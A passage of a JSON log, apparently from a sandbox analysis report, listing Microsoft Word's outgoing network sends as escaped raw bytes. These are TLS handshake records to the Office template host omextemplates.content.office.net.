  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x8b\\xf7*\\xa2v[\\x17\\xea\\x81\\xf9q7\\x92(\\x90q\\xf7\\xbe\\xbai@\\xc3^\\xbbu\\x07g.\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395. },
  396. {
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfx\\xaev\\xf1\\xb2<n\\xde\\x98\\xea\\x9al\\xc8\\x08lv\\xf0\\x9d\\x15\\xf4\\xde\\x04\\xcdkr|f\\xb0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398. },
  399. {
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xd3\\xb0556\\xcc\\xe9%\\x9b\\xce\\x08\\xaep\\x96\"\\xcdk!f\\xdb\\xf53.\\xd2\\xc9\\xa6\\x9f*\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401. },
  402. {
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb0\\xee4\\xa1\\xf5\\xc9\\xe7\\xae?y+\\xd1\\xdb\\x07\\xf6\\x90\\xd2\\xd83d+\\x7f\\x84f@\\xc7f\\xea\r\\xeb\\x17\\xc2\\x92\n\\xfc<=\\x02cq\\x1f\\xee\\xe0c\\x06#\\xfe\\xe3\\xff\\xd6\\xeev\\xcbf!\\xb6w\\xe9\\xcb\\xd5\\xa5\\xdcm\\xe0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe0\\xd7>\\x06\\xa6\\xe8\\xc2o\\xcfnmn\\xe6\\xa8\\x8eq%\\x8cv\\x88\\xf0w\\x97)\\xa9\\xf1\\xfc\\x99r\\xbe\\xdc\\xed\\x8c~\\xeb\\xfd'\\d\\x10\\x88\\x89\\x19\\xa2\\x92\\xb6j\\x97"
  404. },
  405. {
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04(\\xf1\\x8e\\x19\\xa1\\xef\\xab1\\xea\\xff\\x1e\\xde\\xf7\\x1a\\xaf\\x93\\xec\\xd5)\\xdf8(w l\\x17\\x9d\\xa4\\xd9\\xf8\\x031\\xf2e\\xea\\xca-\\x14\\x88s\\xb9\\x01\"f\\xaee\\x9fy\\xed\\x8fa{`\\xf6\t\\xd0\\xa5a\\x85\\xe8\\xb1\\x8e-+\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000[\\xf8\\xff\\x1f\\xdf k\\xa86\\x9ew\\xec~\\xe5m\\xa5\\x84\\x98\\xb3\\xd8jy&\\xbe\\x84\\x7f\\xbe\\xc4\\x1a\\xb9\\xa7\\xa3^\\xef\\xe6a`fc=\\xd1*\\xf0\\x88\\xc0\\xf0g\\xb3"
  407. },
  408. {
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1d2\\xa0\\xe4\\xd7\\xdb\\x0e\\x07k7nd\\xcd\\xc3x\\xad\\xd6\\xb2!\\x81!\\xb6\\xef\\xe3-\\x1cj\n\n\\xc3w]\\x18my\\xbc\\xe3\\xa8\\xec9h\\x80\\xa1^\\xbf[\\xe5&\\x13\\xec-\\x89\\xe8z\n0\\xd2ao\\xfb\\\\xb4\\xccb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8a=\\x81\\x9a\\xc8\\x18\\x89\\xfcg\\xe5\\x16\\x90\\xd1\\xd6]z\\x9c0\\xdd\\xec\\xe2v\\x9e\\xb3kqe\\x9c\\xfc\\x1c\\xd4\\xb8\\x91>\\xa0\\x8c`mo\\xe2\\xf9\\xbf\\x00k\\xe6mx\\xd2"
  410. },
  411. {
  412. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x17\\xc8\\x9a\\xdf\\x02\\xf5\\xe3\\xd2bw)\\xb8\\x9a\\xa8`\\xcccg\\x89\\xfcz\\xff_x\\xad\\xaa\\xde\\xc6{\\x8c\\xb6=\\xf5\\xc1\\x8a\\xcai\\xee\\xa6\\xff\\xeb\\x7f\\x97d\\x9c\\xba\\xf0\\xb7j\\xf3\\xf5\\xb2\\x96\\xe9\\x00\\x9e\\xf6\\xb9z\\xdd\\x9d/7'\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92\\x1d\\xc8\\x1d\\xcc\\xc6\\xb4hfi\\xf0!\\x1a\\xdf\\xa3s\\xb5\\xa2\\xcf\\x9avv\\x15q\\xce\\xech\\xe8\\xe1\\x1eit]z\\xf1\"0\\xbe\\x07w\\xb4\\xaep\\xf8\\x90$wf"
  413. },
  414. {
  415. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbe\\xd7\\xd1\\v\\xd6\\xbaj\\xa1'f\\x15\\xaa\\xa4$x/\\x01\\xf0\\xa2v\\x86u3\\xd3\\xe0\\x8a\\x81\\x81s\\xe9\\xfb\\x80\\x1e\\xc27.g$\\xf4\\xf7w\\xe8#\\xb0{\\x14{\\xeb\\x90]\\xc1\\x05\\xc30\\x91\\xae\\x1d\\xd5o%\\x81\\xca\\xda\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc3(\\xde\\x10\\x9a\\xa7ucl@$;|+\\xe9\\x12r\\xff-\\x9b\\xb2*\\+\\x1c<\\x03\\x14\\x14[\\x97\\xbb\\xce\\xb5\\xfa\\xff\\x86\\xf3\\x1b\\xeb\\xf7;\\x0f\\xf2\\xf9\\x1da+"
  416. },
  417. {
  418. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd4\\xcf\\x17\\x14\\x13\\xc4\\x89t3\\x9b\\x07)[\\xa1\\xeb\\xaa'\\xe52so\\x90\\xd3s\\x17gh\\xd8\\x82h\\xef\\x05\\xf3\\x83\\x9f\"\\x13c\\xa19q\\x93\\x07\\xd7c\\xd15\\x87ch\\xe4\\xa2\\xe1\\x84\\xfb1]ce\\xff\\xe1\\x91\\xb1u\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3\\x90j\\x91#qi\\xce/\\x7f\\x18\\x11\\x94;\\xd3\\x83\\xc4\\xcbg\\xe4*o\\xddw\\x8f\\xcc%y\\x8e%*\\x1d\\xd4\\x07\\xea>\\x0e{\\x12_\\x86\\xb5b\\xf1\\x88\\x87\\xd6>"
  419. },
  420. {
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x86v+\\xc6%\\x01\\x7f\\xcb\\xc8\\x99s\\x99\\xca\\xb6\\x9e\\x91`va\\xbb\\xd4y~!\\xe6\\xff\\x8f\\x92@!n\\x9f\\xd7q\\xc1m\\xfb\\xfc3\\xf2\\xfa)u\\xa6i\\x9d\\x85\\xe4\\x9dm^{\\xd3\\xf5\\xa5l\\xdc\\x19t\\xa4\\x1c\\x17\\xea\\x7f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1bg\\x1af\\x1afjd\\xd3\\xbb\\x167q\\xb3\\xcc\\xecw\\x93\\x82\\xef\\x88\\x98\\x88\\xb4\\xd9\\xdd@\\x93\\x90j\\xe8\\xd2c\\xae\\x0b>\\xe41\\x1b@\\x078\\x80\\x89\\x95\\x89\\xd0\\x12"
  422. },
  423. {
  424. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\xb0\\x9f<\\xc7\\xce\\xa4\\xc9ydvg2c\\xc5\\xc0\\x7f\\x06n\\xce\\xb0\\xe5cy\\xdc7q\\xc7\\x15\\x9a\\x15\\xc5\\xf55\\x88\\xee,\\xb4\\xad\\x97\\xd2x\\xf0\\x9a_\\xc3bq\\xbd\\x86\\x91\\xc6\\xc5\\xc0\\xa2\\xef\\xad\\x12w\\x1495\\xa5\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf0\\x10\\xe7\\xcc\\xd7[\\xcb\\xd4c\\x14m\\x89\\xcb\\xc5lh\\x94\\x04;\\xdf{\\x9b\ta^\\x83:]q*=\\x1a\\x8f\\xdego\\xa2#h\\x94\\x8du\\xab\\xd3\\xe6\\xfdb\\x06"
  425. },
  426. {
  427. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0\\xae\\xe6\\x80\\xbez\\xcbh\\xb9\\xd7:}x\\xf5\\x8c\\xf4mk\\x1c/t(\\x8c\\xe9\\xa4\\xef{\\x97c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  428. },
  429. {
  430. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0\\\\xdcc\\x80\\x8e\\x14jk'\\x08\\xcbi!o\\x06\\xeb\\xe9\\xf8\\xf1\\xf0y\\x17\\xa0\\xb5\\xe3\\x16\\x00\\x8e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  431. },
  432. {
  433. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0\\xf1\\xbf\\x8ag5\\xec*\\x07\\xe5d\\x13\\xdd|80\\x02\n\\x03\\xf9^\\x85\\x91\\x99\\xfa\\xb3\\xffaf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  434. },
  435. {
  436. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0\\xc1\\xb3ssl\\xd1#\\x87\\xc8\\x8a1\\x04h\\x19k\\xcf\\x1f\\x9du\\xdc\\xbc\\xb3\\x96\\x05]\\xd2z\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  437. },
  438. {
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd2'\\x9eopa\\xe3\\x19ay\\xfa\\x06\\x0c\\xec\\xa5\\xf0\\x8e\\xd4i#\\x97w\\xf7\\xbaj\\x9e4\\xbd\\xca~\\xa8\\xb1j\\x92\\x7fe\\x0eyj\\x12\\xe4)n/\\xc3\\xcf\\xf0\\x1c\\xbe!4\\xd5~s\\xabv\\x01\r@a<#+\\xb9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0007\\x81>\\xbcj\\xc1\\xdf\\xc2|\\x11\\x0f<o\\x85w#8\\x8f\\xbez\\xc1\\x18\\x9fn\\x8e\\xd3\\xcbae\\xc5:\\xcd\\xbe\\x15\\xec\\x81\\xa9\\xa4\\x14\\xddq\\xc2\\xfe$\\x0c~l\\xa0"
  440. },
  441. {
  442. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04prb:\\x1d\\xd0;\\x98\\xbf\\xb7\\x16\\x7fn\\xfb\\x00:\\x1c\\xec\\x87u\\xa7\\x0e\\x81\\\\xe14>\\xca\\xb0\\xed\\x95`\\x99&\\x8a?j\\x01\\x16\\x06\\xf9\"\\x9cxq\\x0c\\x02\\xf1\\xff\\xf2\\xb3\\x17\\x85\\xc6\\xb8\\x17x\\x08\\xb4hb \\x9b\\xe3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcd\r\\x12\\x0e\\xfa\\xf4.o\\xc0.\\xd4\\\\xef\\x8f\\xcb\\xaa\\xd1\\x99\\xaf>\\xb5\\xfd)\\xcf\\x8c\\xfdt\\xfc\\x885\\x89\\x88\\x15\\xbcr\\x17\\x91\\xb6\\xf2bq!\\xc8\\x9f\\x02\\x05\\xd7\\x05"
  443. },
  444. {
  445. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$\\x0f\\x8d|\\xab<\\x1d\\xb4:\\xfd\\x19\\xcb\\xd4\\xf6\\xf1q9:/+\\xd7\\xd86\\xb5\\x02\\x1d\\xdd\\xf1m\\xec\\x04\\x03\\x17\\xd85\\xab>\\x95<`\\xaa:\\x0f\\x06\\x1a\\xc1<k*r\\xaa\\x9c6\\x9f\\xb1\\xe6ue\\x8b\\xfd\\x99+\\x02\\xb6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9b\\x08\\xd1\\xfe%t\\xef\\xf0\\x0c*j\\xbb\\xc7\\xe6\\xb9\\x8a\\xb6\r\\x10\\xc9\\xe0vd 8\\xe4\\xb4\\xc6\\x16\\xe5e1*\\x8c_\\xa2_\\\\x14\\x19\\x08\\x1ejp\\x9a\\x8a5\\xe1"
  446. },
  447. {
  448. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfe\\xcc\\x94\\xc8\\xc5\\xf0\\x8a(\\x80\\x17@bc[<xk\\xe9:\t:\\x86\\xa6\\xcc\\x95\\xb3\\x1f\\x0f z\\xba\\x98\\x83\\x94\\x8c\\xe6\\x05\\x01\\x84\\xc8i\\x0c\\x00\n\\x95\\xe8\\xf6\\xfekk\\xe6\\x98~\\xd8\\xf2\\x8ci\\x96\\xc2f\\x97\n\\xdak\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000-\\x01j\\xc1\\x7f\\xccr3i\\x8fs\\x01\\xbc43\\x9b j\\x81%\\xf1{g\\x95\\xf5;r+w#f\\xc1\\xaet\\xec\\xbb\\xa3{#\\x00\\x1e/b/\\;\\xafi"
  449. },
  450. {
  451. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04>\\xb9\\x88^\\x7fb\\xd4\\x0f\\x18\\x1fw\\xcd~\\x98\\xd2ki\\x0e\\xb5\\xff\\x89\\xcc\\xbe\\x9c\\xee\\xe9b\\xdd\\xce\\xff,\\x8b\\xe8\\x9f\\x82\\xa5h\\xe2'\\xaa\\x1fg\\x15\\x9b\\xba3\\xc1\\xc9\\\\xe4\\x04\\xa1p\\x80\\xf7p\\x97\\xddj\\xcc\\xb2xt&\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t&ug*\\x8f\\x89\\x01m\\x9c\\xf5rzg\\xae\\xde\\xc0\\xc4\\xf3t\\x17\\x06\\xc8\\x14n\\xaa\\xb0\\xd4\\x00l\\xca<:f\\xcb/\\x95l\\x86\\xbb]\\xe8\\x02\\xbd\\x94\\x89\\xa5j"
  452. },
  453. {
  454. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0v\\x03\\xbe\\xb9\\x9a\\xceou_\\xa5\\x0b\\xec{\\xfdv\\xb0\\x1du\\xcd\\x9a\\xf0\\x03we\\x11\\x1asg\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  455. },
  456. {
  457. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0\\xc9-\\xd6\\xe6+\\x80\\x8a\\x98\\xec\\x1f\\xbd\\xa9v\\xb5\\x91\\x1e-\\xfb\\x17s,\\xc0\\xf8\\x8a\\xf0\\xb6\\xe2\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  458. },
  459. {
  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0b\\xa7|\\xbe\\xab\\x00\\xf1\\x14\\xd0uib\\xbb\\xd5\\x8dw\\xdaf+;lt\\xf6\\xbf0?|e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  461. },
  462. {
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0\\xeb\\xe3lj\\xf3\\xed]\\xe8\\x86\\x82\\x91\\x8f\\x1d\\xfbm\\xcf\\xda\\x013\\xea\\xed\\xd0\\xfd4v9q)\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  464. },
  465. {
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04;\\xc1\\xcci\\xaa\\xde\\xe0a'\\xf3\\xbd\\xbe\\xb2\\xea\\xf4\\xd1\\x82\\xcf\\xfe\\x08\\xf0\\x93\\xc6k\\xf2r\\xc5\\xfdl\\x9c\\xd1\\xbef\\xa3\\x94(\\xae\\xc9_\\x1b\t\\xf4\\xd6x\\x08\\xd9\\xd8\\x82\\xc1\\xe2\\x05\\xb3\\x01\\xc5\\xe1\\xf2\\xb5\\xde\\xcf2\\x1fz\\xf2n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x85cb\\xa4\\x80\\xc5\\xc5\\xcb\\xa7kpoq6~\\x86b\\xf7\\xaf\\x81\\xea\\xa5\\xcf@u\\x06\ni?~\\xc3\\xfd`\\x7f\\x1a\\x19\\xcc\"(r2\\xeb\\xb0\\x0f\\xa0t*\\xc5"
  467. },
  468. {
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd3\\x13\\xc8m\\x84#[\\xd5\\x19\\xc6\\xe2{\\x01\\x9ad\\xce\\x81g\\x1a\\xb8\\xdc\\xd5s\\xeege\\xf6en\\x9b`\\x8b,@b%\\xf4\\\\x03\\xca\\xc9z\\xfc\\xdc\\xe1\\xcd\\xa4k~\\xd0:\\xe52\\x8f\\xad\\xa4\\xde\\xdd\\xa5\\x18\\x1bf|`\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x95\\x86\\xc6\\xbb\\xa0>\\x9f\\xddh\\x0ei\\xc9n\\x91\\xc0\\x0f0\\xb5\\xa4\\x18\\xbe\\x8e\\x07\\x1ad*\\x91\\xb0\\xcf\\xe2\\x10\\x9b\\xef\\xe3\\xf4\\xa3]\\xf7\\xcf\\xc4\\xa5\\x17^e\\x11\\xbe\\xafh"
  470. },
  471. {
  472. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd3a\\xb6\\xf2\\x15\\x91'\\x06=\\x82\\x8f.\\xc9\\xf0`\\xce\\xfa\\xd1\\xdax\\xa8|n;\\\\x0b\\xe4\\xbe\\xf8\\xfc4\\xf3'l\\xd1w\\x9dzrn8\\xfb\\x05bx\\xaf\\xe9\\x92\\x12\\x10\\xee\\x8d\\xf0}u\\x15\\xa3\\xd5*\\x02\\xeb\\x81\\xc9\\xfa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa9\\xd3>\\xfd\\xc1\\xd6\\xbb\\x96j\\xe2\\x86\\xcd\\xd8\\xd1\\xf3\\xfe\\x8b\\xa3\\x8c\\x7fq3\\xb1\\xa26\\x93%\\xa2\\xefv\\xf9jo\\x10\\x14g\\xbc\\x0f\\x92\\xe8\\x83\\x1c\\xb5 l\\xb1\\xe5\\xda"
  473. },
  474. {
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04|9h\\x95i\\x1f\\xde\\xbd\\xe85\\xcc\\x1e\\x97\\x99\\xac\\xdd'\\xcfwe\\x82[\\xc0\\xc4g\\xb3\\x17\\x157\\x8e5\\xa4\\xcc\\x84\\x98\\xc5*\\xe1\\xa4\\x14j\\x9c2ay8\\x97k\\xfb\\xe0*\\x150=k\t\\xb6k\\xfd\\xf6\\xadr\\x16\\xf6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xad\\x81\\xcb(\\xa1@\\xfa\\x96\\xa1:\\xc4\\xa6t\\xc57\\xbb\\xad|\\xe4\\xd63\\xf9\\x058\\xce\\xc1?\\x9d\\xeft\\xda\\xd0g\\xad\\x1d\\x0b,\\x85b_~\\x02\\xff\\xd3\\xf3nl\\xf5"
  476. },
  477. {
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc9\\x01\\xa6\\x84\\x18\\x87]\\xad\n\\xa3c7\\xc8\"\\x16\\x02\\xfd\\xa03\\x05)\\xafu\\xac\\xc14\\xb0\\x9db?c\\x02\\xa1\\xeb\\xbb\\x92 :\\xa8\\x07\\xd5\\x1a\\xbfx\\x8aax3\\xc2<\\x1e\\xe6\\xd7\\xca&\\xe9\\x1a\\xe1\\x8c\\x9bf*\\x1f?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf8\\xe8\\x870\\x84\\xb0=\\x13\\x97d\\xee\\xad\\x9b\\x08y\\xcf\\x95\\xce\\x91?e\\xf8\\xaa\\xbf\\xb6%\\x10\\\\xdb\\xd6z\\x08\\xb8r\\xce;|\\xe8ff\\xcd\\xd3*\\xb0t\\xa0}\\xbd"
  479. },
  480. {
  481. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xd0?\\xbc\\xf4\\x06\\x98\\xdbeao\\xcb\\xe1\n\\xf0w\\xb1\\x03\\x96r`\t\\xdc\\xd5\\x04\\x98\\xf1\\xf6\\xd6b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  482. },
  483. {
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb8\\xe3\\x8c8k\\x00\\xe9\\x94y*\\x1cz\\x9f\\xa5ch\\xba\\x04\\x86\\xf2\\xce\\xb2\\x9f7\\x97\\xd6\\x14\\x1e\\xd7c\\xa0\\xcdp\\x19\\x08$\\x96\\x95\rs\\xb4^\\x8f}\\xdd_\\xd2h2\\x03\\x01lnx\\xcd\\x12(\\x81\\x9c\\xd9hat\\x0e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000ltamg\\x02\\x013>\\x85\\x8b\\xd2\\x11\\x96<b\\xbam]r\\xaa\\xdb\\x16\\x1b\\xc9\\xbfs\\x16\\x06\\x0bc\\x12\\x8b\\xb5!\\xfbk\\xe4\\xb8\\xd2a\\xf8\\x12\\xcd\\x93:\\x04\\x95"
  485. },
  486. {
  487. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04`\\xcdph\\xa2\\xdb\\xadb\\xfb\\x91\\xdf\\xe5\\xa3\\xff\\xc0\\xf1wqq\\x1c\\xf1\nz\\x0f\\x98y\\xd1\\xe8]\\xc6dn\\xa1\\x94\\xfb\\x99\\xb0\t'h\\xf7\\x1f\\x9b^c\\xabv(\\x1dyk\\xb2\\xb1pk{+\\x1a0]w:\\xfc\\xa8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000agf\\xa9\\x0c\\xcd\\xb2\\x1a|lv\\xa7qo\\xbf\\xa9\\xc4\\x05}\\xa6\\xe3\\xe3\\x94\\xbd\\xb3\\x88#\njz\\xf2d\\xaae\\x84d\\xb1\\x13\\xec\\x0f\\x0c\\x88f\\xd5{\\xce\\xd0\\xcd"
  488. },
  489. {
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04jl\\xe5l\\xa3c:bh\\xc3p\\xf0r\\x899v\\x194\\xf8\\xf9q\\xb2\\xc6\\xa0\\xc9\\x19\\xef\\x0c(\\xc1\\xe2\\x9d\\xad\\xa6\\x81\\xdf/,g}\\x85-\\x8a\\xc0\\xbb\\xbf\\x00\\xde\\xbfn58\\x8c\\x8bvoo\\xf7\\xca\\xce'\\x9f\\x1a:\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdf\\f\\x93\\x01e\\xf2\\x0c\\xf9d\\xb5\\x05\\x87'\\xa0 \\xc5n+9\rd\\xea\\xe3q\\x86\\x8ac\t\\xd2\\xbb\\x90\\xda\\xd0\\xcd,v0\t\\xb5\\xdcg\\xe1\"i\\x05\\x82\\x08"
  491. },
  492. {
